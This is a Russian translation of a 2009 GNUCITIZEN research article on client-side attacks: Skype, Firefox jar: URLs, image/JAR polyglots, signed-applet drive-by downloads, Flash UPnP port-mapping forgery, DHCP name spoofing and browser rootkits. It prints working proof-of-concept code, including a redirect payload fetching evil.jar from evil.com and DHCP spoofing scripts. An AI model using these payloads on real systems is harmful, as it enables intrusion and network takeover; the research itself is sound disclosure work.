Пурпурная книга. Безопасность клиентской стороны – год спустя. Часть 2

17:31 / 28 июля, 2009

Это вторая часть статьи, в которой описаны многочисленные методы атак на технологии клиентской стороны. Приведенные в работе результаты основаны на исследованиях, выполненных за последний год хакерами из GNUCITIZEN Ethical Hacker Outfit.

Petko D. Petkov (PDP), GNUCITIZEN

Первая часть статьи:
http://www.securitylab.ru/analytics/382734.php

УЯЗВИМОСТИ В SKYPE

В DailyMotion и Metacafe было обнаружено несколько XSS-ошибок, что высветило наличие в сервисе Skype проблем типа «межзонное выполнение сценариев », связанных с используемым открытым IE-контроллером. Первая уязвимость типа XSS была обнаружена в DailyMotion Мирославом Лучинским (Miroslav Lučinskij). В результате дальнейшего изучения рисков, связанных с ошибками типа XSS в Skype, Авивом Раффом (Aviv Raff) был создан рабочий код, исполняемый в контексте chrome. В этом демонстрационном экспойте использовалась и другая XSS-уязвимость, найденная уже в Metacafe.

Когда некоторый ресурс исполняется в рамках контекста локальной зоны IE, возможно выполнение всех видов действий, включая, например, чтение/запись файлов на локальном диске и запуск исполняемых файлов через примитивы WSH (Windows Scripting Host). Приведенный ниже код демонстрирует возможность выполнения любой команды после того, как через IE-контроллер Skype, действия которого никак не ограничиваются, была открыта страница, содержащая XSS. Это тот же самый код, который использовался в демонстрационном эксплойте типа «исполнение в контексте chrome», разработанном Раффом:

Атака может быть инициирована либо при попадании жертвы на зараженную вредоносную видео-страницу через Metacafe или DailyMotion, либо при открытии вредоносной web-страницы в браузере по умолчанию путем выполнения следующего URL:

skype:?multimedia_mood&partner=metacafe&id=1053760

Значение параметра multimedia_mood определяет тип действия, которое будет выполнено при запуске клиента Skype. В данном случае это действие будет заключаться в определении статуса «настроение» пользователя. Значение параметра partner определяет видео-провайдера, который будет открыт после открытия URL-адреса, а в параметре id указывается уникальный идентификатор видеоклипа, несущего вредоносный код XSS.

Такая же проблема была обнаружена и в инструменте ScypeFind.

Было также замечено, что часть трафика Skype передается по незашифрованным каналам. Дальнейшее исследование показало, что эти незашифрованные пакеты содержат встроенные в Scype рекламные сообщения, которые собираются из различных источников, в том числе с участием не ограниченного в действиях IE-контроллера, который обсуждался выше. Используя такие инструменты, как Airpwn или Karma злоумышленник без труда может перехватить эти рекламные сообщения и заменить их вредоносными. После отображения такого рекламного сообщения на незащищенном IE-контроллере будет выполнен вредоносный код и злоумышленник сможет получить контроль над компьютером жертвы. Осуществление такого типа атаки не представляет сложности и не требует практически никакой подготовки.

ИСПОЛЬЗОВАНИЕ JAR-ФАЙЛОВ

Обсуждаемые здесь методы использования злоумышленниками JAR-файлов основаны на различных технологиях, имеющих, впрочем, одну базу: обработчик протокола jar: и архивы Java Jar и JAR. В следующем разделе мы вкратце рассмотрим все эти элементы и остановимся на некоторых проблемах, связанных с их реализацией.

FIREFOX JAR: ПРОБЛЕМЫ С ОБРАБОТЧИКОМ URL

Протокол Firefox jar: реализует механизм извлечения содержимого из сжатых файлов. В базовом варианте использование протокола jar: выглядит следующим образом:

jar:[url архива]![путь к файлу]

Обратите внимание на то, что в тело протокола вставляется некоторый URL-адрес. Этот адрес указывает на место расположения JAR (ZIP)-архива, из которого будет считано значение параметра [путь к файлу]. Этот вторичный адрес может представлять собой URL любого типа, например chrome:, file:, ftp:, https: или даже data:. Значение параметра [путь к файлу] обычно начинается с косой черты (/). Эта часть URL определяет путь относительно корня JAR. Например, если у нас имеется один файл с именем a.jpg в папке Pictures, путь к нему будет выглядеть следующим образом: /Pictures/a.jpg. Полный URL-адрес будет таким:

jar:https://domain.com/path/to/jar.jar!/Pictures/a.jpg

Но больше всего интересны те проблемы безопасности, которые возникают в конкретных случаях использования данного протокола. Свойство протокола, на которое стоит обратить особое внимание и на котором будут основаны все наши дальнейшие рассуждения в данном разделе, состоит в том, что содержимое jar: исполняется в области/источнике вторичного URL. Таким образом, по URL-адресу jar:https://example.com/test.jar!/t.htm будет открыта страница в области https://example.com. Это значит, что любое приложение, которое допускает загрузку JAR/ZIP-файлов, уязвимо для XSS-атак, и не только для них. Потенциальными целями для атак данного типа будут такие приложения, как почтовые клиенты, системы координации совместной деятельности, системы обмена документами и пр.

В частности, различные форматы документов являются весьма удобным средством для проведения атак. Форматы файлов OpenOffice (odt) и менее известный формат Microsoft Office 2007 Open Document Format (doc) основан на ZIP-архивах. Это значит, что злоумышленники могут добавить в архив документа вредоносную страницу с кодом атаки на обеспечение стороны клиента. Как только вредоносный Zip/Doc/Odt или подобный файл будет загружен/удаленно открыт жертвой, злоумышленники смогут изменить источники целевого домена и запустить вредоносный эксплойт.

XSS-АТАКИ НА FIREFOX С ПОМОЩЬЮ JAR: URL-АДРЕСА

Используя URL-адреса jar:, можно осуществить глобальную XSS-атаку на Firefox с помощью открытой переадресации. Открытой переадресацией называется любой запрос, приводящий к HTTP-ответу 302. Такой тип переадресации присутствует в большинстве онлайн-приложений, и особенно характерен для популярных доменов, таких как Google, Microsoft, Yahoo, MySpace и др.

риведенный ниже код демонстрирует использование проблем с открытой переадресацией в Google в сочетании с уязвимостью протокола jar: для создания вектора глобальной атаки типа XSS. Данный эксплойт был разработан Бефордом (Beford) в качестве доказательства наличия уязвимости, обсуждавшейся в предыдущем разделе (Firefox jar: проблемы с обработчиком url).

<html><head>
<script
language="javascript">window.location="jar:http://groups.google.com/se
archhistory/url?url=http://evil.com/evil.jar!/payload.htm";</script>
</head></html>

Архив http://evil.com/evil.jar содержит единственную страницу с именем payload.htm, которая несет в себе вредоносный код. В случае осуществления злоумышленником открытой переадресации браузер будет считать, что источником JAR-архива является groups.google.com, в то время как на самом деле обращение к домену Google будет переадресовано к файлу http://evil.com/evil.jar, находящемуся под контролем у злоумышленника. Таким образом, злоумышленники могут успешно выполнить непривилегированный код в области переадресованного URL и осуществить тем самым XSS-атаку.

СРЕДА JAVA RUNTIME И JAR-ФАЙЛЫ

Важно рассмотреть и то, каким образом JAR-архивы обрабатываются в Java. Среда Java runtime имеет некоторые особенности, которые могут быть без труда использованы злоумышленниками для осуществления атак. Рассмотрим, как именно это делается.
Многие Web-серверы имеют очень ограниченное число открытых портов, предназначенных только для целей управления (консоли резервного копирования, MsSQL и другие вычислительные машины баз данных, SMB и пр.). К несчастью, эти службы располагаются за межсетевыми экранами, т.е. внешний доступ к ним запрещен. Тем не менее, такие ограничения обычно не накладываются при обращении из области, защищенной межсетевым экраном.

Когда пользователь запускает аплет, он исполняется в «песочнице» с параметром codebase, т.е. приложение имеет доступ только к ресурсам, расположенным в пределах IP-адреса/домена, из которого оно было вызвано. То же самое относится и к связи сокетов. Например, если мы открываем аплет по адресу http://example.com:80, его программный код может связаться с сокетом example.com:25 без запроса на получение дополнительных разрешений. Так в Java реализуются политики контроля доменной принадлежности (Same Origin Policy).

Зная это, злоумышленник может воспользоваться данной функцией Java для того, чтобы создать видимость осуществления доступа к серверу из области, защищенной межсетевым экраном. Для этого ему необходимо загрузить JAR-объект на целевой сервер. Затем злоумышленник должен создать страницу для размещения аплета в глобальной сети и заставить какого-либо пользователя, защищенного межсетевым экраном, зайти на эту страницу. В случае если на целевом узле исполняется MsSQL с пустым паролем SA, злоумышленник сможет не только получить доступ к вычислительной машине баз данных, но и удаленно выполнять на ней команды.

Впрочем, для того, чтобы успешно осуществить такую атаку, необходимо решить ряд проблем. Во-первых, если целевой сервер не располагает никакими средствами загрузки файлов, злоумышленнику придется реализовывать атаку какого-нибудь другого типа. Данный вид атак был специально разработан для сайтов, на которых разрешена загрузка файлов. Другая сложность заключается в необходимости заставить средства удаленной загрузки признать, что тип загружаемого файла корректен. И здесь злоумышленнику может помочь другая особенность JAR-архивов.

Среда Java распознает изображения как JAR-файлы, в то время как браузеры и другие программы распознают их как изображения. Опишем этапы процесса создания такого файла более подробно:

1. Получаем изображение из Web:
fancyimage.jpg

2. Создаем JAR-архив:
jar cvf evil.jar Evil*.class

3. Соединяем их вместе:
copy /B fancyimage.jpg + evil.jar fancyevilimage.jpg

или
cp fancyimage.jpg fancyevilimage.jpg
cat evi.jar >> fancyevilimage.jpg

По двойному щелчку на файле fancyevilimage.jpg изображение будет открыто в окне программы просмотра изображений по умолчанию. Если поместить изображение в атрибут scr тега img, оно будет отображено. Однако если изменить расширение файла с .jpg на .zip и попробовать разархивировать его с помощью WinRAR или путем вызова утилиты unzip из командной строки, мы получим заархивированное содержимое. В данном случае среда Java откроет изображение как JAR-файл.

ВРЕДОНОСНАЯ ЗАГРУЗКА В JAVA

Открытая энциклопедия Wikipedia определяет вредоносную загрузку (drive by) следующим образом:

Загрузка шпионского ПО, компьютерного вируса или другой вредоносной программы без ведома пользователя. Вредоносная загрузка может произойти при посещении сайта, просмотре электронного письма или щелчке по обманному всплывающему окну (пользователь щелкает по всплывшему окну, уверенный, что это, к примеру, сообщение об ошибке от его компьютера или безобидная реклама). В таких случаях злоумышленник всегда сможет сослаться на то, что пользователь сам согласился на загрузку, хотя на самом деле жертва и не подозревала о том, что запускает загрузку вредоносного ПО.

Рисунок 4: Атака типа «вредоносная загрузка» в Java

Для тех, кому ни разу не встречалось такое предупреждающее сообщение, поясним: это стандартное диалоговое окно среды Java Runtime, появляющееся при попытке запустить аплет с криптографической подписью (JAR-архив). Аплеты с подписью отличаются от аплетов без нее уровнем привилегий и тем, в какой «песочнице» они исполняются. Аплеты с подписью могут выполнять все действия, которые разрешены для настольных приложений, хотя эти аплеты и исполняются из браузера.

Большинство проблем возникает из-за обычных ошибок. В случае со средой Java Runtime вероятность сделать неверный выбор при запуске привилегированного кода – 50 %. Текст, который отображается в окне предупреждающего сообщения, может быть без труда подделан злоумышленниками таким образом, чтобы существенно повысить шанс на успешное проведение атаки. Жертва будет думать, что делает все правильно, а на самом деле разрешит выполнение привилегированного вредоносного кода.

Приведенный ниже ANT-сценарий был разработан в качестве инструмента тестирования для того, чтобы продемонстрировать, как просто создаются и подписываются java-аплеты с поддельными элементами.

Данный сценарий может быть использован вместе со следующим примером аплета, который запускает в Windows приложение calc.exe. Не забывайте, что этот код является межплатформенным и может быть видоизменен для осуществления атаки одновременно на несколько операционных систем:

import java.io.*;
import java.net.*;
import java.awt.*;
import java.applet.*;
import java.awt.event.*;
public class SuperMario3D extends Applet {
public void init(){
try {
Process p = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
//do nothing
}
}
};

...ПЕРСПЕКТИВЫ В СЕТЯХ

Атаки на ПО клиентской стороны происходят и на уровне сети. В этом разделе мы рассмотрим, как ошибки, допущенные при проектировании программного обеспечения клиентской стороны, влияют на работу многочисленных устройств пользователя, и как ненадежный клиент может осуществить атаку на другие клиенты, расположенные в той же сети.

АТАКИ FLASH UPNP

Стек UPnP включает в себя несколько технологий: SSDP (Simple Service Discovery Protocol, простой протокол обнаружения сервисов), GENA (Generic Event Notification Architecture, архитектура группового уведомления о событиях), SOAP (Simple Object Access Protocol, простой протокол доступа к объектам) и XML. Управляющий процесс UPnP начинает свою работу с этапа обнаружения: осуществляется групповая рассылка SSDP-пакета на адрес 239.255.255.250:1900. Устройство, прослушивающее этот групповой адрес, в ответ отправит сообщение с описанием своей службы. Механизм управления UPnP прочтет это сообщение и осуществит поиск доступных методов. Каждому методу ставится в соответствие контрольная точка (URL и заголовок), а также параметры метода, если это требуется. Как только информация обо всех методах получена, исполняющий механизм UPnP выбирает тот из них, который наилучшим образом соответствует поставленной задаче, и отправляет SOAP-сообщение на контрольную точку для выполнения этот метода.

Для осуществления атаки на UPnP изнутри той сети, в которой находится UPnP-устройство, можно использовать уязвимости процедуры, описанной выше. Если же атака на UPnP осуществляется через Web, злоумышленникам придется решить несколько проблем. Во-первых, через Web нельзя отсылать и обрабатывать SSDP-сообщения. Протокол SSDP основан на UDP и использует групповые пакеты, а с ними браузеры и в целом Web-технологии вряд ли вообще когда-нибудь будут работать, не говоря уже о том, что групповые пакеты не поддаются маршрутизации. Единственное, что мы можем здесь осуществить через глобальную сеть, – это отправка SOAP-запроса, которая производится на самом последнем этапе работы описанного выше механизма управления.

SOAP-сообщения представляют собой POST-запросы со значением contentType, равным application/xml, заголовком SOAPAction и телом запроса, соответствующим формату SOAP-сообщения. Эти три элемента запроса невозможно изменить с помощью JavaScript, если только мы не имеем дело с объектом XMLHttpRequest. Однако для того, чтобы успешно использовать объект XMLHttpRequest при проведении атаки, необходимо согласование с политиками контроля доменной принадлжености, а значит, мы должны иметь в своем распоряжении XSS-уязвимость или уязвимость тира «скриптинга между источниками». Впрочем, мало кто знает, что эти три элемента могут быть легко изменены с помощью Flash.

Приведенный ниже POC-код демонстрирует, как произвольные SOAP-сообщения могут быть подделаны с помощью Flash-плеера и переданы на любое внутреннее или внешнее устройство:

<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
creationComplete="onAppInit()">
<mx:Script>
import flash.net.*;
private function onAppInit():void
{
var r:URLRequest = new
URLRequest('http://192.168.1.254/upnp/control/igd/wanpppcInternet');
r.method = 'POST';
r.data = unescape('%3C%3Fxml%20version%3D
%221.0%22%3F%3E%3CSOAP-ENV%3AEnvelope%20xmlns%3ASOAP-ENV%3D%22http
%3A//schemas.xmlsoap.org/soap/envelope/%22%20SOAP-ENV%3AencodingStyle
%3D%22http%3A//schemas.xmlsoap.org/soap/encoding/%22%3E%3CSOAP-ENV
%3ABody%3E%3Cm%3AAddPortMapping%20xmlns%3Am%3D%22urn%3Aschemas-upnporg%
3Aservice%3AWANPPPConnection%3A1%22%3E%3CNewRemoteHost%20xmlns
%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D
%22string%22%3E%3C/NewRemoteHost%3E%3CNewExternalPort%20xmlns%3Adt%3D
%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D
%22ui2%22%3E1337%3C/NewExternalPort%3E%3CNewProtocol%20xmlns%3Adt%3D
%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string
%22%3ETCP%3C/NewProtocol%3E%3CNewInternalPort%20xmlns%3Adt%3D%22urn
%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D
%22ui2%22%3E445%3C/NewInternalPort%3E%3CNewInternalClient%20xmlns%3Adt
%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string
%22%3E192.168.1.64%3C/NewInternalClient%3E%3CNewEnabled%20xmlns%3Adt
%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D
%22boolean%22%3E1%3C/NewEnabled%3E%3CNewPortMappingDescription%20xmlns
%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D
%22string%22%3EEVILFORWARDRULE2%3C/NewPortMappingDescription%3E
%3CNewLeaseDuration%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com
%3Adatatypes%22%20dt%3Adt%3D%22ui4%22%3E0%3C/NewLeaseDuration%3E%3C/m
%3AAddPortMapping%3E%3C/SOAP-ENV%3ABody%3E%3C/SOAP-ENV%3AEnvelope
%3E');
r.contentType = 'application/xml';
r.requestHeaders.push(new
URLRequestHeader('SOAPAction', '"urn:schemas-upnporg:
service:WANPPPConnection:1#AddPortMapping"'));
navigateToURL(r, '_self');
}
</mx:Script>
</mx:Application>

Закодированные данные, представляющие часть тела UPnP-запроса, выглядят следующим образом:

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAPENV="
http://schemas.xmlsoap.org/soap/envelope/" SOAPENV:
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAPENV:
Body><m:AddPortMapping xmlns:m="urn:schemas-upnporg:
service:WANPPPConnection:1"><NewRemoteHost xmlns:dt="urn:schemasmicrosoft-
com:datatypes"
dt:dt="string"></NewRemoteHost><NewExternalPort xmlns:dt="urn:schemasmicrosoft-
com:datatypes"
dt:dt="ui2">1337</NewExternalPort><NewProtocol xmlns:dt="urn:schemasmicrosoft-
com:datatypes"
dt:dt="string">TCP</NewProtocol><NewInternalPort
xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">445</NewInternalPort><NewInternalClient
xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">192.168.1.64</NewInternalClient><NewEnabled
xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="boolean">1</NewEnabled><NewPortMappingDescription
xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">EVILFORWARDRULE2</NewPortMappingDescription><NewLeaseDu
ration xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui4">0</NewLeaseDuration></m:AddPortMapping></SOAPENV:
Body></SOAP-ENV:Envelope>

Данный пример может быть скомпилирован в Flex SDK. Пример строки команды компиляции:

c:\FlexSDK\bin\mxmlc Test.mxml

Flash-приложение Test.mxml выполняет несколько действий:

1. Сначала сценарий MXML создает объект-запрос URLRequest и отправляет его на URL-адрес целевой контрольной точки UPnP. В нашем случае это http://192.168.1.254/upnp/control/igd/wanpppcInternet, представляющий контрольную точку WAN PPP маршрутизатора BT Home Hub. Обратите внимание на то, что здесь могут быть использованы и другие устройства, необходимо лишь изменить данный URL на тот, что соответствует их настройкам.
2. Затем определяется параметр запроса method, который должен иметь значение POST.
3. Следующее выражение определяет данные запроса. Это SOAP-сообщение, добавляющее правило переадресации портов.
4. Необходимо присвоить параметру contentType значение application/xml.
5. Затем заголовок SOAPAction помещается в массив заголовков.
6. Наконец, мы открываем URLRequest с помощью navigateToURL. Ответ будет помещен в _self. Имейте ввиду, что злоумышленники могут воспользоваться и менее известным методом sendToURL, который работает незаметнее и гораздо быстрее, чем navigateToURL.

Когда жертва откроет вредоносный SWF-файл, описанные выше 6 шагов будут незаметно выполнены в фоновом режиме. С этого момента злоумышленник получит контроль над службой, для которого получено правило переадресации портов. Заметьте, что теперь нет необходимости в наличии XSS-уязвимости, все дело состоит в посещении жертвой неудачного ресурса в неудачное время.

UPnP представляет собой очень гибкий набор технологий, который широко используется во многих встроенных устройствах. Помимо традиционных для сетевого уровня возможностей переадресации портов UPnP поддерживает и множество других функций, таких как изменение DNS, сброс/изменение административных мандатов, сброс/изменение настроек WiFi, сброс/изменение учетных данных PPP. Самой опасной среди всех опасных операций, которые могут быть злонамеренно осуществлены с помощью UPnP, является изменение первичного DNS-сервера. Это сразу превращает маршрутизатор и сеть, которой он управляет, в зомби, которыми злоумышленники могут пользоваться в собственных целях в любое время. Кроме того, можно изменить учетные данные администратора и создать такую сеть с протоколом анонимной передачи данных «Onion Routing», о которой мечтают все хакеры.

АТАКИ ИЗМЕНЕНИЯ ИМЕНИ DHCP

В данном разделе рассмотрена модель безопасности взаимодействия клиент-сервер с точки зрения сети. Фактически вектор атаки можно представить в виде диаграммы N отношений, где некоторый клиент компрометирует сервер, что приводит к компрометации отдельных клиентов.

Сценарий:

EvilX посещает открытый WiFi HotSpot. Как только он/она устанавливает соединение с WiFi-сетью, осуществляется обмен DHCP-сообщениями между его/ее компьютером и DHCP-сервером, который, скорее всего, установлен на шлюзе по умолчанию. После этого за клиентом закрепляется IP-адрес и машина подключается к сети.

Наиболее интересной частью описанного сценария является то, как обрабатываются DHCP-сообщения. Если внимательно рассмотреть обмен DHCP-сообщениями discover-offer-request-ack, Вы увидите, что каждый пакет, отправляемый DHCP-клиентом, содержит несколько необязательных полей, одно из которых служит для передачи имени клиента. Многие сети/маршрутизаторы используют это имя в своем DNS-сервере, то есть если компьютер называется EvilX и это имя было передано в DHCP-пакетах, то под этим именем данный компьютер и будет фигурировать в сети. Имеется ввиду, что для разрешения IP-адреса компьютера EvilX сервер DNS будет осуществлять поиск EvilX или EvilX.[сетевой суффикс].

Очевидно, что в результате злоумышленники могут зарегистрировать в уязвимой сети любое имя по своему желанию.

Многие ноутбуки, как рабочие, так и домашние, настроены на использование коротких имен. Например, proxy-сервер, скорее всего, будет называться proxy, почтовый сервер – mail, а WPAD – wpad. А так как злоумышленники могут установить срок действия запрашиваемого IP-адреса, они смогут управлять доменом достаточно долгое время, например, 5 дней. В некоторых случаях злоумышленники даже могут присвоить локальные доменные имена внешним IP-адресам.

Кроме того, необходимо отметить, что на количество имен, которые пользователь может закрепить за одним IP-адресом, обычно не накладывается никаких ограничений. А значит, злоумышленник может зарегистрировать целый словарь, каждое слово которого будет указывать на один единственный IP-адрес, что существенно увеличит количество работающих комбинаций и повысит шансы на осуществление успешной атаки.

Приведенный ниже сценарий демонстрирует описанную проблему:

#!/usr/bin/env perl
use File::Basename;
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
$usage = "usage: ".basename($0)." <mac> <ip> <domain> <name>\n";
$mac = shift or die $usage;
$ip = shift or die $usage;
$domain = shift or die $usage;
$name = shift or die $usage;
$request = Net::DHCP::Packet->new(
Xid => 0x11111111,
Flags => 0x0000,
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPREQUEST(),
DHO_HOST_NAME() => $name,
DHO_VENDOR_CLASS_IDENTIFIER() => $mac,
DHO_DHCP_REQUESTED_ADDRESS() => $ip,
DHO_DOMAIN_NAME() => $domain,
DHO_DHCP_CLIENT_IDENTIFIER() => $mac
);
$ack = Net::DHCP::Packet->new(
Xid => 0x11111111,
Flags => 0x0000,
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPACK(),
);
$handle = IO::Socket::INET->new(
Proto => 'udp',
Broadcast => 1,
PeerPort => '67',
LocalPort => '68',
PeerAddr => '255.255.255.255'
) or die "Socket: $@";
$handle->send($request->serialize()) or die "Error sending broadcast
request:$!\n";
$handle->send($ack->serialize()) or die "Error sending broadcast act:
$!\n";

Другой сценарий, работающий таким же образом, но написанный Джейсоном Макферсоном (Jason Macpherson) специально для платформы Python, был опубликован в блоге GNUCITIZEN. Ниже приведен исходный код этого сценария:

#!/usr/bin/env python
from scapy import *
def usage():
print "Usage: DHCPspoof <ip> <name>"
sys.exit(1)
if len(sys.argv) != 3:
usage()
requested_ip = sys.argv[1]
requested_name = sys.argv[2]
interface = conf.route.route(requested_ip)[0]
localmac = get_if_hwaddr(interface)
localip = get_if_addr(interface)
print("Sending DHCPREQUEST")
ether = Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
bootp = BOOTP(chaddr=localmac, xid=0x11033000)
dhcpOptions = DHCP(options=[('message-type', 'request'), ('hostname',
requested_name), ('requested_addr', requested_ip), ('end')])
packet = ether/ip/udp/bootp/dhcpOptions
sendp(packet)

РУТКИТЫ ЧЕТВЕРТОГО ПОКОЛЕНИЯ

Руткит (англ. rootkit) браузера – еще один тип вредоностного ПО, заслуживающий нашего внимания. Считается, что использование руткитов в браузерах не позволяет получить тот уровень управления, который достигается при установке ПО более низкого уровня, работающего с важными интерфейсами ядра. Это действительно так, однако вредоносное ПО, основанное на работе с браузером, очевидно, в будущем станет более распространенным благодаря расширению и совершенствованию Web-технологий.

ПРЕИМУЩЕСТВА РУТКИТОВ БРАУЗЕРОВ

Экономика электронных преступлений сильно изменилась с момента своего появления. Раньше злоумышленники стремились захватить ПК пользователя. Сегодня же они охотятся за данными жертвы, ведь, в конечном счете, получение данных является главной целью любого взлома. Браузер представляет собой промежуточное ПО – платформу, связывающую пользователя с его частными средствами и корпоративные средства. Поэтому использование браузера представляется лучшим выбором для реализации тайно действующего компрометирующего ПО. Чем ближе к данным – тем лучше.

Современные антивирусные и антишпионские агенты практически не обнаруживают руткиты браузера; это связано с особенностями работы браузеров. Рассмотрим для примера Firefox. Firefox – это сложный динамически развивающийся и регулярно обновляющийся проект. Большая часть браузера написана на языках сценариев (таких как JavaScript), и поддерживает разнообразные форматы (XML, RDP, XUL, XHTML и др). Принимая во внимание то, что каждый из этих компонентов может быть изменен для использования руткитом, приходится признать, что для того, чтобы обеспечить обнаружение вредоносного ПО, в антивирусный агент необходимо заложить понимание всех технологий, используемых в Firefox. Все эти тонкости могут быть просто случайно упущены и не реализованы.

Антивирусные и антишпионские агенты могут выявлять потенциальные вирусы, используя старые добрые методы проверки сигнатур. Однако в данном случае такой подход обречен на провал, так как языки, основанные на прототипах, такие как JavaScript, легко видоизменяются. XML – основной рабочий формат Firefox – также довольно динамичен и обладает рядом полиморфных характеристик, которыми с помощью технологии XSLT (Extensible Stylesheet Language Transformations) без труда могут воспользоваться в своих целях злоумышленники.

Кроме того, браузеры являются основным коммерческим ПО, которому обычно разрешается выходить в глобальную сеть (напрямую или через сервер Web-proxy). Браузер конфигурируется для взаимодействия по умолчанию. Благодаря этому руткит всегда может выйти в сеть, а также впустить в систему злоумышленника, обойдя любые возможные ограничения. Ни одна другая технология не позволяет достичь такого уровня возможностей по взаимодействию и мощности коммуникации.

Наконец, последней, но не менее важной особенностью руткитов браузеров является то, что они становятся переносимыми при работе с браузером, доступным для нескольких платформ. Ярким примером такого браузера служит все тот же Firefox. Расширения Firefox, которые без труда используются злоумышленниками для руткитов, не зависят от операционной системы. Таким образом, один руткит может заразить одновременно и Windows, и Linux, и MacOS, причем для этого не потребуется изменять его исходный код. Эта особенность делает руткиты браузеров идеальным вредоносным ПО.

ПОДРОБНЕЕ О РУТКИТАХ БРАУЗЕРОВ

В распоряжении разработчика руткита имеется множество различных стратегий. Ниже перечислены лишь некоторые из возможных вариантов:

Неизвестные расширения браузера – самый распространенный способ реализации руткитов. Такое расширение будет видно системе и пользователю, но при этом его работа будет незаметна, так как пользователь будет убежден, что расширение является важным компонентом браузера.
Скрытые расширения браузера. Руткиты могут скрывать от пользователя наличие вредоносных расширений. Компоненты Internet Explorer, кажется, вообще ведут себя так по умолчанию. Можно создать и скрытое расширение Firefox, если назначить определенному полю значение true в файле манифеста (manifest file) Install или динамически изменить среду chrome уже во время работы.
База бэкдор (backdoor)-установки. Руткит может заразить уже установленные компоненты браузера. Например, в Firefox добавляется browser.jar, находящийся в директории приложения. Этот JAR-архив содержит GUI-интерфейс Firefox по умолчанию и все базовые компоненты, написанные на XUL и JavaScript. Злоумышленник может тайно добавить свой код JavaScript в часть browser.xul архива browser.jar и таким образом проникнуть в GUI по умолчанию.
Руткиты третьей стороны. Браузеры являются сложным ПО, взаимодействующим с различными компонентами с третьей стороны, например Adobe PDF и Flash. Эти технологии также без труда компрометируются злоумышленниками. В случае с Adobe Reader и Acrobat руткит может добавить простой файл JavaScript в папку со сценарием запуска PDF reader. Каждый раз, открывая PDF-файл, жертва будет запускать руткит, тем самым передавая контроль над системой злоумышленникам.
Руткиты расширения расширений. Рутикит этого типа принимает вид расширения для расширения браузера (т.е. пользовательского сценария для расширения Greasemonkey). Такие руткиты просто устанавливаются в системе и связываются с внешними proxy-серверами XSS, которые и осуществляют управление руткитами.

ЗАКЛЮЧЕНИЕ

В заключение я хотел бы сказать следующее: Клиенты и Серверы всегда составляют симбиоз. Безопасность сервера часто зависит от безопасности отдельных клиентов, и в то же время безопасность клиента зависит от безопасности серверов, с которыми он взаимодействует. Клиенты представляют собой сложные системы, так как используют множество взаимосвязанных технологий. И даже если каждая технология абсолютно безопасна индивидуально, при их совмещении какие-то из них могут привести к появлению серьезных проблем безопасности в своем окружении (т.е. сочетание двух безопасных продуктов не дает в результате вдвойне безопасное решение).

ССЫЛКИ

GNUCITIZEN
http://www.gnucitizen.org

GNUCITIZEN .COM
http://www.gnucitizen.com

PDP | GNUCITIZEN
http://www.gnucitizen.org/about/pdp

Cross-site request forgery | Wikipedia
http://en.wikipedia.org/wiki/Cross-site_request_forgery

Google GMail E-mail Hijack Technique | GNUCITIZEN
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

WARNING: Google’s GMail security failure leaves my business sabotaged | David Airey
http://www.davidairey.co.uk/google-gmail-security-hijack/

Collective effort restores David Airey.com | David Airey
http://www.davidairey.co.uk/david-airey-dot-com-restored/

AP | GNUCITIZEN
http://www.gnucitizen.org/about/ap

BT Home Flub: Pwnin the BT Home Hub (4) | GNUCITIZEN
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4/

Call Jacking: Phreaking the BT Home Hub | GNUCITIZEN
http://www.gnucitizen.org/blog/call-jacking/

Cross-site File Upload Attacks | GNUCITIZEN
http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/

CSRF-ing File Upload Fields | kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html

0DAY: QuickTime pwns Firefox | GNUCITIZEN
http://www.gnucitizen.org/projects/0day-quicktime-pwns-firefox/

IE pwns SecondLife | GNUCITIZEN
http://www.gnucitizen.org/blog/ie-pwns-secondlife

Remote Desktop Command Fixation Attacks | GNUCITIZEN
http://www.gnucitizen.org/blog/remote-desktop-command-fixation-attacks/

BT Home Hub and Thomson/Alcatel Speedtouch 7G Multiple Vulnerabilities | SecurityFocus
http://www.securityfocus.com/bid/25972

Firebug Goes Evil | GNUCITIZEN
http://www.gnucitizen.org/projects/firebug-goes-evil/

Vulnerabilities in Skype | GNUCITIZEN
http://www.gnucitizen.org/blog/vulnerabilities-in-skype/

Skype videomood XSS | Full Disclosure
http://seclists.org/fulldisclosure/2008/Jan/0328.html

Skype cross-zone scripting vulnerability | Aviv Raff On .NET
http://aviv.raffon.net/2008/01/17/SkypeCrosszoneScriptingVulnerability.aspx

Aviv Raff On .NET
http://aviv.raffon.net

Attackers can SkypeFind you | Aviv Raff On .NET
http://aviv.raffon.net/2008/01/31/AttackersCanSkypeFindYou.aspx

Airpwn
http://airpwn.sourceforge.net/Airpwn.html

KARMA Wireless Client Security Assessment Tools
http://theta44.org/karma/index.html

Web Mayhem: Firefox’s JAR: Protocol issues | GNUCITIZEN
http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues/

Java JAR Attacks and Features | GNUCITIZEN
